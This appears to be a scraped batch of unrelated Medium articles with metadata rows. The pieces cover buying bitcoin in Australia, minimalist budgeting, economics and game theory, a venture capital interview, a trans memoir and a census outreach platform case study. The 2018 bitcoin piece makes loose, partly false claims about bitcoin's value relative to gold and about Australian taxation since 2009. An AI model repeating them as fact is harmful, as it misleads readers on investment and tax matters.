The value of the bitcoin is so high that it is more valuable than gold. In Australian terms, the bitcoin is now valued at over three thousand Australian dollars. For this reason, there are many people interested in buying bitcoin.
In this article, we shall discuss a number of tips that can help people in Australian to buy this currency and benefit from its value. As such, this tutorial on cryptohead.io will come in handy to guide you on how to acquire the bitcoin in Australia and benefit from the craze of this cryptocurrency.
Here are 5 tips for buying bitcoin in Australia:
What are Bitcoins?
Probably this is the first question that we need to ask ourselves even before we think of buying this currency. Well, this is a digital currency that was begun in 2009. This currency can be used in many countries and it has no form of centralized control-no wonder the value increase!
How can the bitcoin be of benefit to the buyers? Well, the fact that the bitcoin shares more attributes with gold and its ability to be transferred easily means that people will prefer this currency. The bitcoin market is thriving in Australia and as such, more people are getting interested in buying this currency.
Getting your first bitcoins in Australia
So, how does one go about the process of buying the bitcoins in Australia? Is it affordable to buy the bitcoins in the first place? Well, the cost of the bitcoin could easily put off most people. However, you need to know that you can buy the bitcoin as fractions. You can even buy $10 worth of bitcoins and as such, the price should not put you off.
Once you set up a bitcoin account, there are many exchanges in Australia where you can buy your bitcoins. Some of the larger bitcoin exchanges in Australia include the Bitcoin Australia, CoinJar, CoinTree and CoinLoft among others.
Storing your bitcoins
You can store your bitcoins in wallets. This is mostly available to the people who have purchased large amounts of bitcoins. You need to secure your wallet. In this regard, you should never store your bitcoins on an exchange. Based on the level of your investment, you can choose the various levels of wallet options. Those with small amounts of bitcoins can store them in apps such as Xapo for the iPhone and Mycelium for the android phones.
Where and how do you spend your bitcoins?
This is another issue that needs clarification. The bitcoin can be used to purchase items online and offline. The fact that more retailers are accepting the bitcoin as a means of payment means that you have more places to spend your coins. It is now possible to buy coffee, book a holiday and shop online in a hassle free manner that involves no third parties.
Is the Bitcoin taxed?
Well, for the people who own sizeable amounts of bitcoins, this could be bad news for them. The ATO, the Australian Taxation Office will be taxing bitcoin transactions. Well, the bitcoin has been taxable since 2009 and as such, it is probable that the Australian government could tax bitcoin users in arrears-since 2009.
Buying bitcoin has its risks and challenges. But the excitement, potential rewards, and conveniences of this emerging currency make owning it a compelling idea.
Please let us know if this article is helpful to you. We’d appreciate your comments. | https://medium.com/the-startup-magazine-collection/5-tips-to-buying-bitcoin-in-australia-88ff424623d7 | ['The Startup Magazine'] | 2018-01-17 16:43:22.833000+00:00 | ['Bitcoin', 'Australia', 'Cryptocurrency', 'Investment', 'Fintech'] |
How Simple, Prudent Finances Bring Peace Of Mind | A lot of us get into minimalism as a lifestyle because of financial concerns.
But as we stick with it, most find that freedom and peace of mind are the greater benefits.
Financial improvements never hurt, but money issues can also be symptoms of an altogether cluttered and unintentional life.
Minimalism tends to increase happiness by addressing that mindlessness which we so easily fall into.
An unrelated but tranquil scene. Photo by JOSHUA COLEMAN on Unsplash.
Simplify life and lighten your mental burden
A minimalist budgeting strategy turns every financial decision into a simple, even child-like test. “Do I need it? If not, is it really valuable to me?”
That might require some difficult self-denial until your discipline muscle gets stronger.
But there’s no denying that simple choices make for a more peaceful life and peaceful mind.
Compared to that, the “pain” of denying things we don’t need — and were often just told to want — is nothing.
Fast(er) track to financial stability
Think of the route to financial stability as train tracks, where two rails run parallel to the same destination. Both are necessary but neither is sufficient.
One track is earning and the other is saving. A hit to one can undermine improvements to the other, just as it only takes one damaged rail to derail a train.
Budget is the rail that we damage more often. Impulse purchases derail our progress, and failure to track real spending sends us down a line we didn’t seek.
An honest, conscientious, and personally meaningful budget helps us build the discipline that keeps us headed in the right direction.
Own your money, not the other way around
Minimalist budgeting makes financial choices few and simple. Not necessarily easy, but simple.
Those who want it easy spend impulsively, and chip away at their hope of stable, sustainable finances.
Lo and behold, after a few months or years, their money owns them.
Perhaps you’ve been there, or are there right now, and ramifications of past spending constrain your life in ways you never anticipated.
But those who want simplicity make the tough choice day by day to uphold the budget. To trust the process. And in the process, they find that money remains their tool. They own it, in every sense.
Be ready for life’s unexpected events
When we simplify personal finance to its essentials, and build the discipline to keep it that way, the bumps in the road seem to matter less.
Obviously, that’s because the discipline has led to greater financial cushion, such as the all-important emergency fund.
But there’s also a distinctly minimalist twist, which applies to budgeting as much as to clutter, clothes, hobbies, and all else.
It’s this: energy and concentration are limited.
They’re renewable, but limited at any one time. If we follow the mainstream financial advice of separate accounts for every goal, several credit cards to maximize points, and so on, it sucks up that energy and concentration.
Then, when the unexpected happens, there’s a web of financial implications way beyond money in and money out. It’s not only a matter of affording it, but of figuring out how it affects so many dependencies.
Instead, a minimalist approach to personal finance — especially in budgeting and account management — puts us in a better place to deal with these bumps in the road.
Sure, we might leave a few credit card miles unearned or sign-up bonuses neglected, but is maximizing them really worth the stress?
More certainty amid tough times
The world goes crazy every now and then.
There is always turmoil somewhere, and always will be. But once in a while, it feels like everything is up in the air at once.
That’s stressful. It is to me, anyhow. But it’s also beyond my control.
However, things are infinitely worse if your own messy finances coincide with general chaos.
What happens when times are tough…
…and you don’t know how much you need to live on?
…and you haven’t diligently built an emergency fund?
…and you aren’t used to living with less?
It sure doesn’t help.
However, if we’ve addressed all those things when it’s (relatively) easy, then the hard or crazy periods are that much more bearable.
Knowledge of your real needs
A lot of what I’ve shared here comes down to a simple goal: know what’s necessary, know what’s really valuable, and cut out the rest to save money (and time) for what counts.
When you maintain a minimal budget day-in, day-out, a little magic happens. It feels that way, at least.
It takes time to produce money, so you figure out what’s really worth your time. Is the new X worth Y hours of your life to pay for it? Or would Z, at the same sticker price, be worth far more of your money-earning time? | https://medium.com/@erikbassett/how-simple-prudent-finances-bring-peace-of-mind-99df0c2a72d5 | ['Erik Bassett'] | 2020-12-18 22:57:43.041000+00:00 | ['Budget', 'Personal Finance', 'Budgeting', 'Minimalism'] |
The melding of computer science and economics | Why is this important?
Economics used to be done by writing. When I would meet with my dissertation adviser (the econometrician who penned the most-cited paper in economics since 1970) we only needed a notepad and two pens.
Economics is now practiced using supercomputers.
Economists do more than model reality. They have molded the world in which we live. New projects setting out to design economies that will shape our future are now commonplace. The creators of these new economies aim to build trusted systems that do not rely on governments or institutions.
What unintended consequences?
If we assume that people are going to act one way only to discover that they actually behave quite differently, it turns out that the price of being wrong can be surprisingly high. This is known as the price of anarchy. This is a concept in economics and game theory that measures how a system degrades due to selfish behavior of its participants.
Social dilemmas arise especially when the decision-making participant is the unit of human population we call The Person. The consequences of assuming that everyone should simply behave as a perfectly rational, omniscient, tireless, objective, self-interested agent can be quite dramatic. I delve into that setup more deeply in this article about how flawed economic models affect society:
Bring a problem, bring a solution.
Enough already, you say. There are too many alarmists, not enough people putting forth solutions. As it turns out there are solutions just waiting in the wings to address these issues.
One of them is cooperative economics:
Another tool is based on similar underpinnings and melded with computer science. It goes by algorithmic game theory. | https://medium.com/datadriveninvestor/the-melding-of-computer-science-and-economics-c11fb0e21a19 | ['Mark Plutowski'] | 2018-12-03 10:41:38.872000+00:00 | ['Economics', 'Algorithmic Game Theory', 'Machine Learning', 'Decentralization', 'Game Theory'] |
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Medium sent you an email at to complete your subscription. | https://towardsdatascience.com/latest-picks-using-generative-models-for-explainable-ai-bda3b3256ce7 | ['Tds Editors'] | 2020-11-19 14:27:13.900000+00:00 | ['Machine Learning', 'Editors Pick', 'Data Science', 'The Daily Pick', 'Towards Data Science'] |
X.3 - Citizen X - Medium | Stand and say it with me. — @iamXeverywhere . . . | https://medium.com/@iamxeverywhere/freedom-is-negotiable-x-3-aaf96f54e464 | ['Citizen X'] | 2020-12-21 08:46:03.602000+00:00 | ['2020', 'Life', 'Lockdown', 'Freedom', 'Covid 19'] |
TheWonderfully terrible Panademic Christmas Story | There once was a house with a whole bunch of children that would not ever ever go to school or go to bed on time because of virtual learning. The end.
Seriously, I don’t know how the heck to get these kids to bed on time so if anyone has any suggestions, PLEASE dm me. So, this Christmas gave us the unique opportunity to take advantage of not having to go out to a bunch of stores and do our last minute shopping, or stay up in the middle of the night wrapping presents like a madman (we tend to procrastinate). I believe that this could be thought of as a terrible Christmas, an opportunity to be creative with the technology and networking that creative minds have blessed us with. Now, don’t get me wrong, I do miss giving hugs and being able to see our friends and loved ones especially during the holiday season, but this we have to stay isolated could either be turned into a negative or a positive time period…it’s all about your approach on how you look at it.
We were able to offer an outside Christian Christmas video to our neighbors, with social distancing and Christmas carols for the first time ever this year. We were able to bless a neighbor struggling with handiwork to be able to provide food for the holidays. We were also able to pray for and bless neighbors with Instacart to help them stay inside and safe, as well as bibles and inspirational messages of hope and love to other neighbors that the children wanted to write. While our oldest daughter took it upon herself to make homeless packs for essentials and nonperishables that we have been driving by and leaving for homeless that are in need more than ever before. Now, our parents still haven’t quite figured out how to use zoom, and we do miss our friends and brothers and sisters at church. But regardless of that, we do see that in our home, and in our community people are using this time to reflect on what really matters in life. It has become for us, less of the hustle and bussell of the holidays, and more about the memories and love we can share with everyone during this time.
So, this terrible nontraditional, social distanced Christmas could actually be a time for us to really cherish each other and be there for each other, like we never have been before.
Peace on Earth and Joy to the World.
May you all have a truly blessed and cherished holiday season. | https://medium.com/@cgriff951/thewonderfully-terrible-panademic-christmas-story-8220218acbae | ['Coco Griffin'] | 2020-12-27 00:45:10.877000+00:00 | ['Christian', 'Christmas'] |
New Things: Cee Lo, “You Promised Me Love,” Also a Super-Earth | Spiralbound editor. Formerly at The Hairpin. Also now making a newsletter: https://drawinglinks.substack.com
Follow | https://medium.com/the-hairpin/new-things-cee-lo-you-promised-me-love-also-a-super-earth-78a6d400e2f4 | ['Edith Zimmerman'] | 2016-06-01 19:44:37.228000+00:00 | ['Music', 'Aliens', 'Outer Space'] |
Así se repartieron los europeos África | in In Fitness And In Health | https://medium.com/opini%C3%B3n-con-foro/as%C3%AD-se-repartieron-los-europeos-%C3%A1frica-67f72f0a839f | ['Pablo Cruz'] | 2017-03-25 18:14:29.196000+00:00 | ['Español', 'Africa', 'Colonialismo', 'Politica', 'Europa'] |
Interview With Pete Hartigan, Managing Partner, Marketplace Funds | “Having been on both sides — an approach of “no surprises” helps create a productive work environment. Like any good relationships — the key is communication (proactively), & getting into business with people with the same values”
Portfolio ventures that are going great need almost no support, and the ones that are in the bottom aren’t worth helping. Apart from the two extremes, how do you know how much effort, time, persistent to put in the ones that are somewhere in the middle?
I started my business career in 1993, and spent about half as a venture capitalist (Boston & San Francisco) & half an as entrepreneur (unicorn, middle & zero), engaged with teams, investors & boards (member, observer, committee member, etc) at many stages & cultural styles over the years.
What I have learned is that building a company is hard work. CEOs / Executive Teams / Boards / Investors need support at every stage to be honest — whether the company is doing well, having a challenge getting to market or somewhere in the middle.
The key is “fit”. CEOs / Entrepreneurs get very frustrated with Investor / Board Members who create work that is a distraction. Investors get frustrated with CEOs / Teams when they don’t understand that their mandate is to make money for their LPs & if formally on the board they have a dual fiduciary (duty of care as a board fiduciary for all shareholders & to make money for their investors.)
Having been on both sides — an approach of “no surprises” helps create a productive work environment. Like any good relationships — the key is communication (proactively), & getting into business with people with the same values, so that whether things work out or not, everyone feels they did the best they could along the journey together in service.
Personally — I try to allocate my time where I can be of most assistance. That has evolved over the years, as I gained different types of experience. I try to customize for each CEO. That said, there are many styles to be a productive investor & it depends upon the CEO & board.
How do you balance your time between (1) sourcing quality prospect ventures (2) doing due diligence for prospective investments and (3) helping current entrepreneurs? Which of these are you comfortable outsourcing to principals/analysts and which do you absolutely have to do yourself?
In my first job back in 1993, we emulated TA’s proactive deal flow approach — initially created by Jackie Morby back in 1978. For me, she is historic for the venture industry. Many of us tried to emulate her proactive approach. From that lens, I am very open to building a team which generates deal flow if appropriate for your firm.
As far as helping with portfolio management, I think the key is that she/he has high EQ and is optimized to adding material value for a CEO & minimizing being disruptive.
This does not mean there are not constructive conflicts, if helpful for all involved; however, discussions are always best when both sides understand each other & there are “no surprises”, at least as much as possible on all sides. In general however, my view is to optimize “fit” for a team members roles to what they are naturally good at & how she/he wants to evolve her/his career.
Many GPs are good investors but don’t master one of the core skills — adding value as a board member. What do you think are some tricks to a productive relationship with founders? What should the culture be for the board and CEO for a quality relationship?
If an investor is truly not good at adding value as a board member, she/he should learn to become a fiduciary — possibly by being a board observer, formal training, or mentorship. I strongly do “not” believe in “tricks” with founders. In fact, I feel quite the opposite, especially have been on that side as well. I believe relationships between founders & investors are strongest with understanding & a feeling of care, even (especially) when the discussions are the tough ones.
The culture for a CEO & Board for a quality relationship? I think there are a few primitives for all relationships — understanding, respectful conversations, open communication and availability. I guess it’s the golden rule of “treat others like you would like to be treated”. That said, in addition to the baseline primitives, my initial instinct is to nudge both investors & CEOs to be adaptable, good listeners, & find common ground.
Nowadays, mental health is more present than ever, with things like burnout, stress, depression, among others. What do you think of external intervenients like executive coaches, both for a founder and for a VC partner? Do they usually add value?
I serve on the board of a company focused on mental / behavior health. Technology enables “access” for help at near zero marginal cost, so from that standpoint I suppose it is ever more present. I think its a personal decision if someone wants to utilize an executive coach (or a therapist if clinical assistance is more appropriate).
What I really believe is that both physical and mental health is important for all involved. If you are not fit, it would probably be best to remove yourself (in a manner without surprises), or adjust your role so that you feel comfortably physically / mentally.
How do you solve important conflicts with CEOs, such as lack of alignment on exits, strategy, or just the CEO being in denial about things like performance? Does the resolution begin with a private conversation or with involving other board members in a decision?
My personal view is the CEO is the CEO. If a board no longer trusts the CEO, then the board should professionally start a process (ideally with the CEO’s support) in a transition. If the board trusts the CEO, then what I try to do is optimize to each CEO in a manner custom to her / him. Sometimes that means staying out of her/his way, other times it means being proactive.
Who is the right “messenger” depends on the CEO / Team / Board Members & what the topic is. If you have for example a Comp Committee, the Chair of the Comp Committee can be the voice for the committee most of the time, some with Audit / Risk Committee, Nominations/Governance, etc.
If the committee Chair is doing a good job — super. Each CEO is different.Each company culture is different. Each board member & board culture is different. Once you establish a fiduciary baseline together, then how to get things done tends to be custom to those involved, leveraging helpful primitives like open communication, respect, understanding, etc.
Each company culture is different. Each board member & board culture is different. Once you establish a fiduciary baseline together, then how to get things done tends to be custom to those involved, leveraging helpful primitives like open communication, respect, understanding, etc.
When raising money from LPs, what is the thing you emphasize the most when “selling” the fund? Past returns? Team expertise (domain and/or entrepreneurial expertise)? Unique angle?
The relationship with LPs is a relationship, so “fit” is key. LPs usually appreciate that you say what you are going to do & then do it (ie “no surprises” as the goal). They seem to appreciate regular and professional communication, so if things are going well or not, they are informed.
Clearly everyone is happiest when everyone makes money at the level of risk-reward they were anticipating. However, in the moments where things don’t work out as well, an LP usually appreciates professional communication through the cycle of the relationship.
LPs, GPs, Entrepreneurs — at the end of they day usually can sense “integrity” (level of integrity) — if each person tries to do the right thing, especially under moments of material stress, then business trust forms naturally over all of our careers, at whatever level each of us earn.
Key Lessons from Pete | https://medium.com/@vascopatricio/interview-with-pete-hartigan-managing-partner-marketplace-funds-544ea7ad4fba | ['Vasco Patrício'] | 2020-02-07 12:40:09.729000+00:00 | ['Venture Capital', 'Alternative Investments', 'Startups'] |
How I Knew (Becoming Trans In Eight Episodes) | (Lena Balk, Upsplash)
1: Two Spaldeens
I was about five years old, give or take a year. It was a typical New York summer day: sunny, hazy, humid but not insufferably so. I was not much of an outdoor kid, being bookish and precociously (i.e., annoyingly) talkative, but that day I was playing outside vigorously, bouncing pink rubber Spaldeen balls against the garage door and trying to catch them as they came back. I returned to my room, physically spent but still mentally wired.
My mother came upstairs to check up on me to tell me about some new books that she bought for me. She always made sure that books were plentiful in our household. We often spent hours in the living room reading silently in each other’s presence, while my father glossed over the newspaper headlines, watched the sports report on television, and fell asleep in his chair or, more often, sprawled out on the floor.
Suddenly, inspiration struck from out of the blue. I took the two Spaldeens, shoved them under my shirt, and proclaimed: “Look Mom! I’m a girl!”
Mom chuckled weakly, amused but not too amused. At that moment, however, my father walked by in the hallway and did a double-take.
“Get them things out of your shirt, right now!” he exclaimed, scolding me through his clenched teeth. He often did this when he was angry. “You’re a boy. Stop that!”
I complied, but I was perplexed. What was the big deal?
Under all the layers of awareness, I came to realize that gender was a big deal, in two ways.
First, people — parents especially! — made it a big deal, a set of roles set in stone, whose rules are exceptionless. Boys are boys, girls are girls, no in-between, no exceptions made, no transgressions tolerated.
Second, gender was a big deal to me, but not in the way that the adult world made it out to be. It was less a role than a perception. For a split second I realized I liked looking and feeling like a girl (albeit a post-pubescent one at least 6 years older than I was), which generated a vague realization that I might not be what others understood and expected me to be.
2: The Public Humiliation
I was lucky: I was not the one who was humiliated, but a classmate. Had it been me, this narrative might have taken a different turn.
My Catholic elementary school was located one block from my home. Because I lived so close, the nuns who ran the school allowed me, and a handful of others, go home for an hour to eat, and to return at the end of recess. I thought I was lucky to be granted this privilege. My milk was not sour like my schoolmates’, having been delivered into rickety wooden bins, languishing in the summer sunlight and freezing in the winter snow. I was not limited to soggy sandwiches for lunch. I often got to eat hot soup!
This made me, and my fellow go-home-for-lunchers, the subject of ridicule. “Yeah, go home to mom-my! Go home for lunch you big fag! Enjoy your souuup!” I was nonplussed by this. You bet I’ll enjoy my “souuup”! And my fresh, non-sour milk. I am sorry you do not get to experience these little pleasures.
One day I returned, a little late, to school and, ascending the stairs to my classroom, heard intense bawling and wawling and “Please, Sister I-I-I’m sorry!” The scene when I entered: one of the boys in the class apparently was caught talking during the silent prayers that commenced afternoon religion class. The nun in charge had a spare girl’s uniform in storage and punished the boy by making him dress in the uniform and sit, for the remainder of the class, at the front of the class, bombarded with major taunts coming from the boys (and a sense of resentful embarrassment from the girls). The message was: girls are relentless, shallow gabbers, and as your offense was “acting like a girl”, you get to be one for forty-five shame and humiliation filled minutes.
I was gobsmacked by the cruel intentions of the nun who did this — what kind of life-lesson is imparted by doing something like this, which she knew would only traumatize this first-grade boy? But I was also offended and confused by what this punishment implied. Namely: why are you also humiliating the girls in the class, by insinuating they are uncontrollably loquacious, and therefore silly? Why should dressing like a girl occasion so much shame and humiliation to begin with? What is so awful about wearing a plaid jumper and knee-socks? Why did sister think that being a girl for a while was a punishment? Why did she think that being a girl was second-rate? She’s a girl herself!
The whole episode struck me, even then, at age 6, as sick and sadistic — to both the boy in the sartorial stocks and the girls who had to suffer being put-down as part of the “silly”, frivolous gender.
3: The “Guess who I am?” Game
My best friends, for as long as I can remember, have mostly been female. I usually felt uncomfortable in the company of boys when young. I cringed at their mocking, insulting brand of humor, and winced at their tendency to turn everything into a battle or contest. I realize that this may be a function not of masculinity per se, but of a peculiarly 20th century American form of masculine bluster and toxic aggression. This is a nation that elected Donald Trump, after all — a paradigm case of hollow machismo that conceals a limitless emptiness, a narcissistic demand that can never be satisfied. There are alternate conceptions of masculinity in circulation in the world at large, and more power to them. Still, I thought girls were far nicer. They were gentle.
I was hanging out one afternoon on the stoop of one of my girl friends, playing a game of “guess who I am?”, like twenty questions, where you had to figure out the identity the other player was pretending to be. I pretended to be Mickey Mantle, John F. Kennedy, and Paul McCartney; she pretended to be Wonder Woman, Jacqueline Kennedy — and Abraham Lincoln. It was fun, and then she remarked “Hey, I pretended to be a man: now you pretend to be a woman.”
Whereupon I replied “Oh, jeez, look at the time, I have to go home now!” And I sped away.
In retrospect, this reaction speaks volumes to me. The discomfort I felt about pretending to be female, in a child’s game for godsake, was not a matter of playing a role that felt alien to me — although that’s what I was telling myself over and over at the time. It was a fear that my secret would be out. The idea of being a girl both comforted and excited me. But it was not the kind of thing that I would dream of broadcasting to my friend, no less the world at large.
4: Glam Rock Commentary
While my father was strictly a Frank Sinatra/Tony Bennett guy, my mother’s taste in music was broader. She loved Pink Floyd’s Dark Side of the Moon. “Who is that?” she exclaimed when I was playing it on the living room stereo. “That’s beautiful! Not like the other crap you listen to”, meaning Led Zeppelin, the Stones, Steppenwolf, and pretty much everything else in my vinyl collection.
I was in my early teens when rock music took a turn towards the exotic and glamorous. We were watching Ed Sullivan, and a musical act came on — it may have been Hunky Dory era David Bowie but I am not sure — who was wearing velvet bell-bottoms, a fancy psychedelic silk shirt, and long well-groomed hair. “Wow, look at him”, my mother remarked. “Get a load of his get-up! I’ll bet he’d really like to put on lipstick and high-heels the way he’s decked out.” Her voice was soaked in disapproval.
I thought, however, “Well, who wouldn’t.” But I kept the thought to myself. I knew that most guys wouldn’t — but I would. And “The Secret” must be kept . . .
5: The Therapist
“Look, don’t worry. You’re not a woman trapped in a man’s body or any of that nonsense. That’s bullshit.”
Thus sayeth the psychologist conducting an intake interview for the therapy practice which I was checking out, anticipating by several decades the transphobic bile that nowadays drips from the lips of Jordan Peterson and Slavoj Žižek and thousands of Gender Critical “Feminists”.
“The Secret” was taking a toll on me. It started to seriously interfere with my peace of mind. I was sexually attracted to women, and was at that time happily married to a woman I loved deeply. I couldn’t reconcile my sexual orientation with my confusing gender identity. It generated a lot of guilt and shame. I concluded that I needed to resolve my inquietude by ridding myself of “The Secret”, not by revealing it, but by extinguishing it.
(Little did I know, then, that gender identity and sexual orientation are two different things. Unfortunately, therapists in the 1980s were not exactly clear about this matter either. Now they tell me…)
Thankfully, the therapist to which I was eventually assigned did not share the attitude of the intake-guy. Maintaining his neutrality, he got me to open up about “The Secret” to him, and to work through my guilt and shame about it. Every therapist I have had since then has likewise helped me, with considerable success, with adverse feelings about my feelings, sex/gender related or otherwise. It did not weigh as heavily on me as before. But I was still evading the crux of the problem. The secret would not snuff itself out.
I never thought that the metaphor “a woman trapped in a man’s body” was a particularly good one. I never felt contempt for my body per se, but perceived that parts of it were at odds with others — my genitalia (plus secondary sex characteristics) and my brain, respectively. Furthermore, what I longed for was to feel at ease not so much in my body but in the world, the social world, wherein I could be acknowledged as who I am and acknowledge others from my own honest and true perspective. There was a lack of fit between how I perceived myself and how the world perceived me. And that was the motive for keeping “The Secret”. For I feared that if I revealed it, the world would banish me wholesale. I would shrink to a vanishing point.
(Before)
(After)
6: The Denial Beard
Since my early 20’s until my transition, I had sported a beard. I kept the beard neat and trim and avoided the Grizzly Adams/Z.Z. Top/Thoreau look deliberately. I did not want to appear like a wild man, but a civilized, sophisticated, cultured man. While I did not want to exude toxic masculinity, I was aiming at exuding, well, masculinity.
The beard looked nice on me, but then again, I looked fine without the beard. Occasionally I’d shave it off, but almost immediately I would grow it back again. It was obsessive, and compulsive: I felt uncomfortable without the beard. I thought I did not know why I did this, but I knew full well why I did. I had kept “The Secret” so well that I was fooling myself. No, more like deceiving myself. The beard was a talisman, a kind of rabbit’s foot of masculinity. I dared not lose it, or “The Secret” would be out. But one cannot keep a secret from oneself for too long — it always comes back to nag at one’s conscience and sense of integrity. The beard was a disguise.
7: First Time Out
I was single for the first time in decades. Nothing prevented me from letting “The Secret” run out of the corral for a while before I planned to rein it back in. I revealed myself to a friend, set an afternoon date in Manhattan for coffee, and made an appointment with someone who specialized in “transformations.” Goodbye beard. And without a trace of regret…
I had brought a black V-neck dress, breast and hip forms and a waist cincher, a dark brown wig, and patent black high heeled pumps, donned them, and sat down for the makeup artist to work her magic. About a half hour later, the transformation specialist proclaimed: “there she is!”
It would be a cliché to say that “something in me snapped” or “the scales fell from my eyes”, but the thing about most clichés is that they are not so much false as they are exaggerations of a truth, and that have lost their impact from careless overuse. But something did change. I was seized by a kind of inner warmth, and a realization that I had done the right thing, a momentous thing. I was strangely calm, not nervous at the prospect of heading into the East Village and hanging out. “What do you want your name en femme to be?”, she asked. “Laura”, I replied. Always my favorite woman’s name.
As I headed toward the car, the makeup artist commented, “You’re glowing!” I certainly felt the glow.
The drive into Manhattan was uneventful; after searching for and finding a parking spot I realized that I would be publicly presenting as Laura for the first time. While I was nervous, I was determined not to let it get the best of me. I walked to the café and met my friend: I discovered that walking any distance in Manhattan in high heels is a fool’s errand. I wasn’t being “clocked” as trans, which may have been a function of the expertise of the makeup-artist, or the characteristic inattentiveness to the out-of-the-ordinary exhibited by Manhattanites — or a combination of the two. My friend said she never saw me saw me smile so brightly.
The waitress approached our outdoor table and greeted us with “What’ll it be, ladies?” It was a thrill: about time. My heart was at peace.
When we ladies parted I walked back to the car and realized that I had left my male clothes in a small suitcase at her studio. I phoned her and asked if I could dress back at her place when I returned, but she said she had another customer and that the best she could do is leave the suitcase outside her front door. This posed a problem. I was supposed to meet my father — alcoholic, crochety, and set in his ways — for his birthday dinner, in male mode. He was none too pleased with the Spaldeen incident: he would not be pleased to see me in a sexy little black dress. So I pulled into a strip-mall parking lot, sought out a space far from the stores and other cars, clambered into the back seat, and contorted myself into all sorts of positions as I switched clothing.
When I was back in male mode, I felt like I was in costume. That was when I let “The Secret” go. It took some time, and I took my time, but I realized then what I was being beckoned toward. My honest self, the woman I had perceived myself to be all along.
8: Mansplained!
Fast-forward to about a year ago, before the pandemic cloistered us and election-anxiety led to interrupted sleep. I had been socializing pretty much exclusively as a woman for about a year. I realize that I am privileged to live in a place that is not just tolerant but generally accepting toward trans women and trans men, and lucky that the worst I have thus far experienced was a group of people in a sushi joint giving me the stink-eye. I quickly ditched most of my anxiety being trans in public — although I have acquired the skill of noticing when someone is walking behind me on a nearly-empty street at night, and then grabbing my purse tightly and cranking-up my hyper awareness. You never know. Women need to know what they are up against.
There is a bar in Manhattan’s West Village that I am very fond of. The bar staff is friendly and the beer selection is exceptional. I was a bit buzzed one day when the guy sitting on the stool to my left struck up a conversation. He was beyond buzzed, well into inebriation, on his way, possibly, to delirium and unconsciousness. He seemed to be keen on me.
I make it a policy to reveal that I am trans as soon as possible. This is because I think it is fair to let any interlocutor know how it is with me, and also because I am proud to be trans and sick of keeping secrets. So I told this guy all about it. It did not seem to register. Which was fine for my tipsy self: it was a bit of a rush to find someone who perceived me as an attractive woman. I played along.
The topic turned to music. “You know who’s the best guitarist? Eric Clapton! By far! He is the best! He can play anything! And no one can copy him!”
Being a guitarist myself, I begged to differ. I learned electric guitar by copying him. He plays pentatonic blues scales: if you know them you could play pretty much anything he plays by memorizing the riffs, and by developing your vibrato and other chops. His vibrato is great but, frankly, he cannot hold a candle to the Yardbird who replaced him, Jeff Beck. Etc.
“No no no. Eric Clapton. The best. “Key to the Highway”! Can’t copy that! He can play anything! Layla! You got me on my knees!”
I suppose this could be interpreted in a number of ways. Was he comparing me to Layla? Was this a drunken expression of attraction and enchantment?
It did not matter: I interpreted it otherwise. I was being mansplained-to. Clapton was the best. Girls don’t get that. “Key to the Highway!”
This could have gone on for a while, but he lapsed into a kind of stupor, staring at the floor. I took that opportunity to close my tab, give the barmaid a kiss on the cheek, and embark out to 7th Avenue and the number 1 train. I had lost my mansplaining virginity.
I had arrived. Welcome to womanhood, girl. | https://medium.com/@lnelson10051954/how-i-knew-becoming-trans-in-eight-episodes-dd4f778cc363 | ['Laura Nelson'] | 2020-12-18 14:14:23.862000+00:00 | ['Autobiography', 'Gender Identity', 'Gender Roles', 'Transitioning', 'Transgender'] |
Gathering data sources to coordinate census outreach activities | What is the Census and why is it important?
Every 10 years, the US Government is required by the Constitution to count every single resident in the United States. This exercise has happened since the founding of the country and determines both political representation and monetary resources to every single community in the country. The State of Illinois allocated $29mn for FY2020 and an additional $14.5 were recommended for FY2021 to support a coalition of municipalities, government agencies, and nonprofit organizations to reach out to the communities they serve to ensure all residents fill out their census forms. Billions of dollars and at least 2 Congressional representative seats are at stake for the State of Illinois.
The Illinois Department of Human Services (IDHS) and the University of Illinois at Chicago College of Urban Planning and Public Administration (CUPPA) have an inter-governmental partnership to coordinate the efforts of over 360 organizations involved in community education, engagement, and responses to the 2020 Census.
The State of Illinois recognizes the challenges presented by the need to coordinate across so many different organizations and geographies. Due to the impact of COVID-19 on field efforts to engage residents, many organizations are conducting virtual townhalls and other online meetings to reach their constituents. IDHS and CUPPA’s mission is to support this large ecosystem of organizations and provide them with the tools to maximize the results of their outreach efforts. An emphasis of the project was to enhance peer-to-peer learning and collaboration opportunities among all of the organizations that are conducting field activities.
Challenge
Wepo started working with IDHS and CUPPA a few months before the beginning of the 2020 Census. IDHS and CUPPA needed quick deliveries of prototypes to validate them with the large community of organizations involved in the outreach efforts.
First, IDHS and CUPPA asked the developers to design and build a solution with the goal of aggregating social media activity and the events promoted by the organizations involved. Due to the sudden revisions of the outreach plans because of COVID-19 and the large number of entities involved, it was important for them to have a one-stop solution to monitor outreach activities.
Second, the coordinators of the program needed to be up-to-speed with the latest data on response rates. The outreach efforts needed to be particularly focused on hard-to-count and low-responding communities.
Solution
Wepo worked together with IDHS and CUPPA to understand how to best address their needs. After gathering all the requirements and specifications of the project, our engineers proposed the development of a web platform to aggregate social media activities of the organizations involved. In addition, Wepo suggested the use of the official U.S. Census Bureau to create a historical dataset of the response rates at different levels of geographic aggregation.
Particularly due to the shift to online activities because of the COVID-19 pandemic, it was important for all the entities involved in the project to have an online platform where they could see each other’s activities, get new ideas, and coordinate the promoted events. The developed platform collects data using the APIs of the social media platforms most commonly used by the organizations involved.
In addition, Wepo developed a Machine Learning model to classify the content retrieved from the organizations’ social media profiles with the goal of identifying content promoting various events, including webinars, online meetings, and virtual townhalls.
Outcome
The high number of organizations involved and the need for continuous test and validation of the new features introduced was addressed by identifying clear milestones that could be met with quick cycles of design, prototype, validation, development, and delivery. Every component of the system was designed as a containerized microservice, loosely coupled with the others, giving the development team the possibility to daily release new features in a completely transparent way.
IDHS and CUPPA now have a platform that provides them with a clear picture of the activities of the organizations involved. Moreover, our data science team worked closely with IDHS and CUPPA to reshape the response rates data collected from the U.S. Census Bureau’s APIs in a useful and clear format.
IDHS and CUPPA have provided the Census outreach organizations cohort with a tool that allows them to track each other’s activities and organically share content and ideas without any distraction. The organizations can share among themselves the approaches used to maximize the results of their efforts while drawing on best practices based on their experiences. The public has a census events calendar that they can consult to choose the most appropriate event to gather knowledge about the census.
Tools
Data Science & Machine Learning: Python, Spacy, TensorFlow
Web Development: Node.js, React
Databases: MongoDB, Postgres
Deployment: Docker, Kubernetes, Nginx, Seldon
Cloud Provider: Google Cloud Platform
Conclusions
